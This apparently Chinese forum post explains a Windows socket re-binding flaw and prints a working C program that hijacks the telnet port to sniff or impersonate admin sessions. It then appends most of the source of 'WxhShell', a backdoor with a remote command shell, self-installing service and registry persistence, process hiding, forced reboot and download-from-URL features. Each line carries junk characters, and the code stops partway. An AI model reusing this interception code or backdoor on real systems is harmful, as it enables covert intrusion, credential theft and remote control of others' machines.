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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `h#JDcT;a  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wB{-]\H`\  
nor`w,2VF  
  saddr.sin_family = AF_INET; GEgf_C!%@  
cvt2P}ma#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _G`aI*rKsy  
(?(ahtT4T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UQ y+ &;#5  
anYZ"GR+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 seim?LK  
w:Vs$,  
  这意味着什么?意味着可以进行如下的攻击: R?R6|4  
O^GTPYW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UF4QPPH4  
);vU=p"@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @VFg XN  
+dRTHz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '1aOdEZA*  
pQD8#y)`C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  WD]dt!V%  
JaEyVe  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8dfx _kY`/  
3:RZ@~u=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3? "GH1e  
oc.x1<Nd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =`")\?z}  
EP @=i  
  #include hLF@'ln  
  #include LT!4pD:a  
  #include R?k1)n   
  #include    <e"2<qVi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XOoND  
  int main() (1R,   
  { }-kb"\X%g  
  WORD wVersionRequested; x<].mx  
  DWORD ret; SVJ3!1B,  
  WSADATA wsaData; ^H>vJT  
  BOOL val; {k>m5L  
  SOCKADDR_IN saddr; ;J<kG@  
  SOCKADDR_IN scaddr; /D~:Ufw  
  int err; Vs(;al'  
  SOCKET s; yl*S|= 8;k  
  SOCKET sc; I]h+24_S  
  int caddsize; 4V=dD<3m  
  HANDLE mt; `S2=LJ  
  DWORD tid;   |Ia46YS  
  wVersionRequested = MAKEWORD( 2, 2 ); Y,9("'bo  
  err = WSAStartup( wVersionRequested, &wsaData ); G{:L^2>  
  if ( err != 0 ) { PGJ?=qXr#  
  printf("error!WSAStartup failed!\n"); ,Tpds^  
  return -1; $W)FpN;CW/  
  } ,PnEDQ|l  
  saddr.sin_family = AF_INET; l\bBc, %jt  
   8d]= +n !  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /bVI'fT  
}'3V(;9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WZ ZD  
  saddr.sin_port = htons(23); i/->g:47P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) umj7-fh  
  { I".r`$XZ  
  printf("error!socket failed!\n"); 6@ + >UZr\  
  return -1; M@.1P<:h  
  } 5D'8 l@7  
  val = TRUE; x;N?'"GP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JprZ6 >  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jtA Yp3M-$  
  { n '&WIf3  
  printf("error!setsockopt failed!\n"); St?vd+(>  
  return -1; s%Z3Zj(,8(  
  } _A(J^;?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tFRWxy[5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a/_ `1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3Z`oI#-x  
4Hu.o7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p B )nQ5l'  
  { 6(wpf^br2  
  ret=GetLastError(); [scPs,5Y  
  printf("error!bind failed!\n"); 2o,%O91p  
  return -1; ^<< Wqmx  
  } ^LZU><{';  
  listen(s,2); \KG{ 11  
  while(1) z19y>j  
  { qsJo)SA  
  caddsize = sizeof(scaddr); \2T@]!n  
  //接受连接请求 X(/W|RY{@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); % Dya-  
  if(sc!=INVALID_SOCKET) K }r%OOn0  
  { rZ^DiFR  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QjPcfR\  
  if(mt==NULL) >XA#/K  
  {  N3E=t#n  
  printf("Thread Creat Failed!\n"); . a~J.0co  
  break; sLCL\dWT  
  } "# JRw  
  } #T+%$q [:  
  CloseHandle(mt); DBOz<|  
  } .@R{T3 =Q  
  closesocket(s); $g*|h G/{  
  WSACleanup(); 2;A].5>l  
  return 0; ,]>Eg6B,u  
  }   ]NN9FM.2b/  
  DWORD WINAPI ClientThread(LPVOID lpParam) gXG1w>  
  {  IF uz'  
  SOCKET ss = (SOCKET)lpParam; s`&8tP  
  SOCKET sc; FFPO?y$  
  unsigned char buf[4096]; T*z >A  
  SOCKADDR_IN saddr; O||M |  
  long num; I#m5Tl|#  
  DWORD val; "=HCP,  
  DWORD ret; :H6Ipa  
  //如果是隐藏端口应用的话,可以在此处加一些判断 XjWoUnz  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9Y~A2C  
  saddr.sin_family = AF_INET; <s  $~h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d!8`}L:=M  
  saddr.sin_port = htons(23); T-eeYw?Yf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Cdc6<8  
  { Ig]Gg/1G  
  printf("error!socket failed!\n"); ;g*ab  
  return -1; S.BM/M  
  } ?DA,]aa-  
  val = 100; OLlNCb#t  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HA>b'lqBM  
  { /9;)zI  
  ret = GetLastError(); (@mvNlc:  
  return -1; ?-Fp rC  
  } ^b'|`R+~}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G!@tW`HO  
  { GYZzWN}U  
  ret = GetLastError(); ?HttqK)  
  return -1; JZ'`.yK:  
  } nJlrBf_Kj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rE EWCt  
  { AW1691Q  
  printf("error!socket connect failed!\n"); }_Jr[iaB  
  closesocket(sc); h0L *8P`t  
  closesocket(ss); 3S ,D~L^  
  return -1; d0eMDIm3R\  
  } | x/,  
  while(1) $Ic: c  
  { L+bU~N,+A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u-=%gx"Di  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @u#Tx%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 EJ"[{AV  
  num = recv(ss,buf,4096,0); # KK>D?.:  
  if(num>0) '3 5w(  
  send(sc,buf,num,0); Jn-iIl  
  else if(num==0) ul1#_xp  
  break; 5Jlz$]f  
  num = recv(sc,buf,4096,0); tUH#%  
  if(num>0) ~Qeyh^wo  
  send(ss,buf,num,0); kT t;3Ia  
  else if(num==0) ~bhesWk8!  
  break; q3#07o_dV  
  } kK>PFk(  
  closesocket(ss); P'xq+Q  
  closesocket(sc); ojni+}>_  
  return 0 ; ]z;%%'gW6  
  } p=V (_  
ggIz) </  
uAwT)km {  
========================================================== eJIBkFW/3y  
+h.$ <=  
下边附上一个代码,,WXhSHELL |]w0ytL>(2  
{=VauF  
========================================================== :%~+&qS  
M S)(\&N  
#include "stdafx.h" /{#1w\  
"z8L}IC!e5  
#include <stdio.h> .n'z\] -/Q  
#include <string.h> ppP7jiGo  
#include <windows.h> bzz=8n  
#include <winsock2.h> IDyf9Zra?  
#include <winsvc.h> !7]4sXL{  
#include <urlmon.h> 80U07tJ  
LzEs_B=9  
#pragma comment (lib, "Ws2_32.lib") P33x/#VVE  
#pragma comment (lib, "urlmon.lib") u(S~V+<@Z  
> r6`bh [4  
#define MAX_USER   100 // 最大客户端连接数 Zu951+&`  
#define BUF_SOCK   200 // sock buffer (hEqh nnm`  
#define KEY_BUFF   255 // 输入 buffer g-q~0  
#p_3j 0S  
#define REBOOT     0   // 重启 4{7O}f  
#define SHUTDOWN   1   // 关机 Pfj{TT.#L  
CA, &R <]  
#define DEF_PORT   5000 // 监听端口 yS%IE>?  
BrcT`MM[(=  
#define REG_LEN     16   // 注册表键长度 I"eXoqh  
#define SVC_LEN     80   // NT服务名长度 rZm|7A)i  
h(*!s`1  
// 从dll定义API { AdPC?R`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gpB3\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q&S\?cKe  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $y S7u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R s_bM@  
`VM@-;@w  
// wxhshell配置信息 !)FM/Xj,o  
struct WSCFG { 8p p^ w  
  int ws_port;         // 监听端口 4RTuy+ M  
  char ws_passstr[REG_LEN]; // 口令 A8Tq2]"* S  
  int ws_autoins;       // 安装标记, 1=yes 0=no dt%waM!  
  char ws_regname[REG_LEN]; // 注册表键名 3C{3"bP  
  char ws_svcname[REG_LEN]; // 服务名 @=B'<&g$Xv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rrm k\7/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :yO.Te F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g&I/b/A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [x Xa3W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ="hh=x.5J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fS+Ga1CsH  
=QXLr+ y@  
}; bq{":[a  
%9Br  
// default Wxhshell configuration E(N?.i-%$  
struct WSCFG wscfg={DEF_PORT, `&xo;Vnc  
    "xuhuanlingzhe", vs}_1o  
    1, B/u0^!  
    "Wxhshell", JFf*v6:,  
    "Wxhshell", {eo4J&as  
            "WxhShell Service", N'[bA  
    "Wrsky Windows CmdShell Service", jp?;8rS3  
    "Please Input Your Password: ", *<Yn  
  1, 'S]7:/CI  
  "http://www.wrsky.com/wxhshell.exe", mv_N ns  
  "Wxhshell.exe" ,*ZdM w!  
    }; Q[+&n*  
<J" 7ufHSQ  
// 消息定义模块 OW!cydA-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SUwSZ@l^|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (:v|(Gn/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qvo(2(  
char *msg_ws_ext="\n\rExit."; BBnW0vAZ*  
char *msg_ws_end="\n\rQuit."; =g| e- XC  
char *msg_ws_boot="\n\rReboot..."; zG)XB*c  
char *msg_ws_poff="\n\rShutdown..."; j}}:&>;  
char *msg_ws_down="\n\rSave to "; *[K\_F?^h  
Ct2m l  
char *msg_ws_err="\n\rErr!"; IO3`/R-  
char *msg_ws_ok="\n\rOK!"; ?\[2Po]n  
#'m&<g,  
char ExeFile[MAX_PATH]; g$+u;ER5  
int nUser = 0; ?`T< sk8c  
HANDLE handles[MAX_USER]; :KY920/,  
int OsIsNt; r;m_@*]  
V8AF;1c?-'  
SERVICE_STATUS       serviceStatus; CZaUrr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I{#&!h>]U  
y\ Su!?4!  
// 函数声明 pt[H5  
int Install(void); MR:GH.uM:  
int Uninstall(void); T 1'8<pJ^  
int DownloadFile(char *sURL, SOCKET wsh); *9V;;bY#  
int Boot(int flag); ~gU.z6us  
void HideProc(void); DL0jA/f  
int GetOsVer(void); )9LlM2+y  
int Wxhshell(SOCKET wsl); c|?0iN  
void TalkWithClient(void *cs); F|.,lb |L  
int CmdShell(SOCKET sock); $ qOV#,@  
int StartFromService(void); IoUQ~JviA  
int StartWxhshell(LPSTR lpCmdLine); C/AqAW1  
m]LR4V6k|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rz/^_dV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A0Z<1|6r*  
&+F|v(|r  
// 数据结构和表定义 +|6 '7Z(9  
SERVICE_TABLE_ENTRY DispatchTable[] = ukM11LD5x  
{ ;:(kVdb  
{wscfg.ws_svcname, NTServiceMain}, 5m2`$y-nb  
{NULL, NULL} fT)u`voE,  
}; [>+}2-#  
V^Gz7`^  
// 自我安装 ' *hy!f]  
int Install(void) i"|="O0v5  
{ L%4[,Rsw  
  char svExeFile[MAX_PATH]; P%HvL4R  
  HKEY key; Oa7x(wS  
  strcpy(svExeFile,ExeFile); Ut"~I)S{LT  
R1.No_`PHq  
// 如果是win9x系统,修改注册表设为自启动 n27df9L  
if(!OsIsNt) { :5 XNV6^|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v4_p3&aj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NR3]MGBKv  
  RegCloseKey(key); eteq Mg}M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vf?+->-?{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =apcMW(zn  
  RegCloseKey(key); #H]b Xr  
  return 0; Hj&mwn]  
    } pPr/r& r  
  } !YUMAp/  
} #XSs.i{  
else { }*vUOQQp*  
8Q $fXB  
// 如果是NT以上系统,安装为系统服务 ="%nW3e@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7PE3>cD  
if (schSCManager!=0) ) xRm  
{ GJlkEWs  
  SC_HANDLE schService = CreateService %4X#|22n  
  ( wk @-O}W  
  schSCManager, 8)I,WWj  
  wscfg.ws_svcname, UuDT=_1Sh  
  wscfg.ws_svcdisp, Twscc"mK  
  SERVICE_ALL_ACCESS, c*0pF=3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `dB!Ia|  
  SERVICE_AUTO_START, 96W!~w2xx  
  SERVICE_ERROR_NORMAL, -mD<8v[F  
  svExeFile, f5)4H  
  NULL, cW+6Emh  
  NULL, HEZgHL  
  NULL, 'n'83d)z  
  NULL, LR:Qb]|"  
  NULL J LOTl.  
  ); V=#L@ws  
  if (schService!=0) v9Kx`{1L  
  { '2`MT-  
  CloseServiceHandle(schService); \;"$Z 9W  
  CloseServiceHandle(schSCManager); Bvbv~7g (  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i1ph{;C  
  strcat(svExeFile,wscfg.ws_svcname); &V. ps1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F_8 < tA6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DK2m(9/`3  
  RegCloseKey(key); +(>!nsf  
  return 0; 5p9zl=mT  
    } ;Dl< GW3<  
  } "T>74bj_|Q  
  CloseServiceHandle(schSCManager); k+*DPo@)  
} V*an0@  
} Xy_ <Yqx}  
r >%reS  
return 1; Dx<">4   
} "BN-Jvb7q  
P(z#Wk  
// 自我卸载 c;M7[y&  
int Uninstall(void) {+Rf?'JZH  
{ vj?v7  
  HKEY key; ^1d"Rqtv  
}lN@J,q  
if(!OsIsNt) { 5k&tRg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k_A.aYe  
  RegDeleteValue(key,wscfg.ws_regname); 1UR ;}  
  RegCloseKey(key); JE~ci#|!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?NazfK  
  RegDeleteValue(key,wscfg.ws_regname); Bq}p]R3X  
  RegCloseKey(key); l}|KkW\y  
  return 0; M,0@@:  
  } $@8$_g|Wz  
} Kv**(~FNnH  
} WU}?8\?U%  
else { &?.k-:iN  
E_VLI'Hn?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .gmNE$d  
if (schSCManager!=0) yHvF"4]  
{ 6>I{Ik@>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7_$Xt)Y{  
  if (schService!=0) H^Th]-Zl  
  { n}8J-/(|+  
  if(DeleteService(schService)!=0) { m @K5eh  
  CloseServiceHandle(schService); ~=W|I:@  
  CloseServiceHandle(schSCManager); ym,UJs&  
  return 0; zP\n<L5  
  } idL6*%M  
  CloseServiceHandle(schService); ~b}@*fq  
  } W/dl`UDY  
  CloseServiceHandle(schSCManager); XqD/~_z;  
} }*+?1kv  
} 'BE &lW  
{Vz.| a[T  
return 1; I?sA)!8  
} 2{t i])  
U1&pcwP  
// 从指定url下载文件 J \iyc,M<M  
int DownloadFile(char *sURL, SOCKET wsh) 'jv[Gcss3L  
{ eT??F  
  HRESULT hr; vB0O3]  
char seps[]= "/"; ?y( D_NtL  
char *token; E\U6n""]  
char *file; RfP>V/jy5  
char myURL[MAX_PATH]; Vc!` BiH  
char myFILE[MAX_PATH]; OLAw Rha  
2t h\%  
strcpy(myURL,sURL); n[zP}YRr  
  token=strtok(myURL,seps); A?{ X5` y  
  while(token!=NULL) _*b1]<  
  { g(d9=xq@k  
    file=token; :r^c_Ui  
  token=strtok(NULL,seps); =*Z=My}3~  
  } WBS~e  
>YPC &@9   
GetCurrentDirectory(MAX_PATH,myFILE); i?R+Ul`Q  
strcat(myFILE, "\\"); m>4jRr6sF  
strcat(myFILE, file); Y)@mL~){  
  send(wsh,myFILE,strlen(myFILE),0); S1Q2<<[  
send(wsh,"...",3,0); \79KU   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); voRr9E*n  
  if(hr==S_OK) 'I|A*rO  
return 0; b2OVg +3  
else }wmn v  
return 1; 4_3O?IY  
2mVcT3  
} x <^vJ1  
iV X12  
// 系统电源模块 ,#G>&  
int Boot(int flag) K-Bf=7F,  
{ J(*QtF  
  HANDLE hToken; + QcgLq  
  TOKEN_PRIVILEGES tkp; w,L PM+  
sjOyg!e  
  if(OsIsNt) { tB"amv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l?CUd7P(a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C`F*00M{  
    tkp.PrivilegeCount = 1; fuM+{1}/E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MS{purD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FC.d]XA%/d  
if(flag==REBOOT) {  j{,3!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oY@4G)5  
  return 0; 9z9z:PU  
} >Lo 0,b$  
else { (g2?&b iuz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K5U=%z  
  return 0; 0RY{y n3  
} JZ6{W  
  } a/ !!Y@7  
  else { VO ^ [7Y  
if(flag==REBOOT) { B9`^JYT<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =|IB=  
  return 0; g+8j$w}  
} HA%% WSuf  
else { 6 W/S?F~{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y=y=W5#;77  
  return 0; FoM4QO  
} \tFg10  
} xao'L  
\-k X-Tq  
return 1; 2kV[A92s  
} r(`;CY]@  
(p<QRb:&Z  
// win9x进程隐藏模块 '| Enc"U  
void HideProc(void) <VD^f  
{ ?qr-t+  
XWvT(+J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c-z 2[a8  
  if ( hKernel != NULL ) -L>\58`  
  { WN9 <  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %=x|.e@J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y%9S4be  
    FreeLibrary(hKernel); uN bOtA  
  } IWeQMwg  
@/}{Trmg/  
return; l!f/0Rx5  
} :A35 ?9E?  
R }M'D15  
// 获取操作系统版本 =jvM$  
int GetOsVer(void) Y(IT#x?p  
{ Vm.&JVb  
  OSVERSIONINFO winfo; UF)rBAv(/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Zd@'s.,J  
  GetVersionEx(&winfo); LO@.aJpp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %Kd&A*  
  return 1; ,]@K6  
  else .$b]rx7$ ~  
  return 0; e*_8B2da  
} %+oWW5q7  
dsP|j (y  
// 客户端句柄模块 xQ4D| &  
int Wxhshell(SOCKET wsl) g|*2O}<  
{ QjETu  
  SOCKET wsh; iMRb` \KH  
  struct sockaddr_in client; K 1>.%m  
  DWORD myID; %]%.{W\j3  
\&\_[y8U  
  while(nUser<MAX_USER) v{Cts3?Br  
{ }$u]aX<  
  int nSize=sizeof(client); .#R\t 7m%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z!Sv/ 5xx  
  if(wsh==INVALID_SOCKET) return 1; ]T\K-;i  
$2E n^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KZO!  
if(handles[nUser]==0) ~Nf0 1,F  
  closesocket(wsh); dq%N,1.F  
else ~[XDK`B  
  nUser++;  mfOr+   
  } v 1Yf:c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B e+'&+  
{\22C `9t  
  return 0; B]dHMLzl  
} \7Hzj0hSi  
"UVqkw,vt  
// 关闭 socket DUf=\p6`f  
void CloseIt(SOCKET wsh) m`C(y$8fU  
{ quc?]rb  
closesocket(wsh); vPEL'mw/3#  
nUser--; 9Ue3 %?~c  
ExitThread(0); 1 GUF,A+_O  
} r$=MBeT  
_F xq  
// 客户端请求句柄 x.ZV<tDi7  
void TalkWithClient(void *cs) j Efrxlj  
{ .!0),KmkK  
@K36?d]e  
  SOCKET wsh=(SOCKET)cs; V ~w(^;o@  
  char pwd[SVC_LEN]; pH.wCD:1n  
  char cmd[KEY_BUFF]; 6}mbj=E`  
char chr[1]; qF=D,Dlz  
int i,j; [oOZ6\?HB  
CYrVP%xRA  
  while (nUser < MAX_USER) { r AMnM>`  
jPYed@[+  
if(wscfg.ws_passstr) { ?H1I,]Di  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h!56?4,%Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dA> t  
  //ZeroMemory(pwd,KEY_BUFF); e:{v.C0ez  
      i=0; .$)'7  
  while(i<SVC_LEN) { <uNBsYMuC  
=]E(iR_&  
  // 设置超时 I=l() ET=  
  fd_set FdRead; g[Ah> 5  
  struct timeval TimeOut; ;[WW,,!Y  
  FD_ZERO(&FdRead); %@q52ZQ  
  FD_SET(wsh,&FdRead); '1;Q'-/J  
  TimeOut.tv_sec=8; aWek<Y~+  
  TimeOut.tv_usec=0; @uz&]~+`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yCkfAx8 ]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  Y2vzK;  
qC?J`   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]O',Ei^  
  pwd=chr[0]; QU16X  
  if(chr[0]==0xd || chr[0]==0xa) { s<'^ @Y  
  pwd=0; K"Vv=  
  break; A/RHb^N  
  } }MY7<sMDOy  
  i++; #T Cz$_=t  
    } Nkn0G _  
4q[C' J  
  // 如果是非法用户,关闭 socket E+V^5Z:u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rklr^ e  
} uS bOGhP  
9 Am&G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4IG=mG)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >x@]w sj  
W%b<(T;  
while(1) { %1SA!1>j  
aq~hl7MTj  
  ZeroMemory(cmd,KEY_BUFF); W?~G_4  
hXM8`iFW5  
      // 自动支持客户端 telnet标准   -h^FSW($-R  
  j=0; Tn2Z{.q$  
  while(j<KEY_BUFF) { @gENv~m<OI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q7mqzMDk  
  cmd[j]=chr[0]; F6h3M~uR  
  if(chr[0]==0xa || chr[0]==0xd) { w{)*'8oCB  
  cmd[j]=0; f!ehq\K1k  
  break; 3  8pw  
  } m9Gyjr'L  
  j++; 2H;&E1:  
    } sp0& " &5  
lxj_ (Uo  
  // 下载文件 b>;>*'e  
  if(strstr(cmd,"http://")) { 'IBs/9=ZC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fJLlz$H  
  if(DownloadFile(cmd,wsh)) -(~Tu>KaH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l"o@.C} f/  
  else \c/jp5=}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k#R}^Q  
  } %75|+((fC  
  else { znhe]&Fw  
ma@ws,H  
    switch(cmd[0]) { <M nzR  
  hJ.XG<?]$  
  // 帮助 vmJ1-<G4*  
  case '?': { ~6.AE/ow  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rEfk5R  
    break; Ks@S5:9sp  
  } X<\^*{  
  // 安装 vi@a87w>  
  case 'i': { Ttn=VX{ \  
    if(Install()) yxQxc5/X)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,,mkB6;  
    else O^G/(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l*uNi47|  
    break; qd~)Ya1  
    } \.myLkm  
  // 卸载 b')CGqbbmT  
  case 'r': { H)t YxW  
    if(Uninstall()) 78#je=MDg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #6fp "  
    else H&E c *MT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l -_voOP  
    break; | ctGxS9  
    } "p.MJxH  
  // 显示 wxhshell 所在路径 .x$+R%5U  
  case 'p': { J6Hw05%0=  
    char svExeFile[MAX_PATH]; <i^Bq=E<rJ  
    strcpy(svExeFile,"\n\r"); N\=pH{  
      strcat(svExeFile,ExeFile); 5!}xl9D  
        send(wsh,svExeFile,strlen(svExeFile),0); IGEf*!  
    break; ,Bp\ i  
    } %/~6Qq  
  // 重启 Et(Q$/W  
  case 'b': { -q&VV,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6AqHzeh  
    if(Boot(REBOOT)) [|d:QFx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K6@QZc5.!  
    else { =#^%; 66z  
    closesocket(wsh); iOPv % [  
    ExitThread(0); '?E^\\"*  
    } ldrKk'S,B  
    break; P .3j |)NW  
    } Im{50%Y  
  // 关机 Vi23pDZ5  
  case 'd': { V;L^q?v !  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x8.7])?w  
    if(Boot(SHUTDOWN)) ~IZ'zuc  
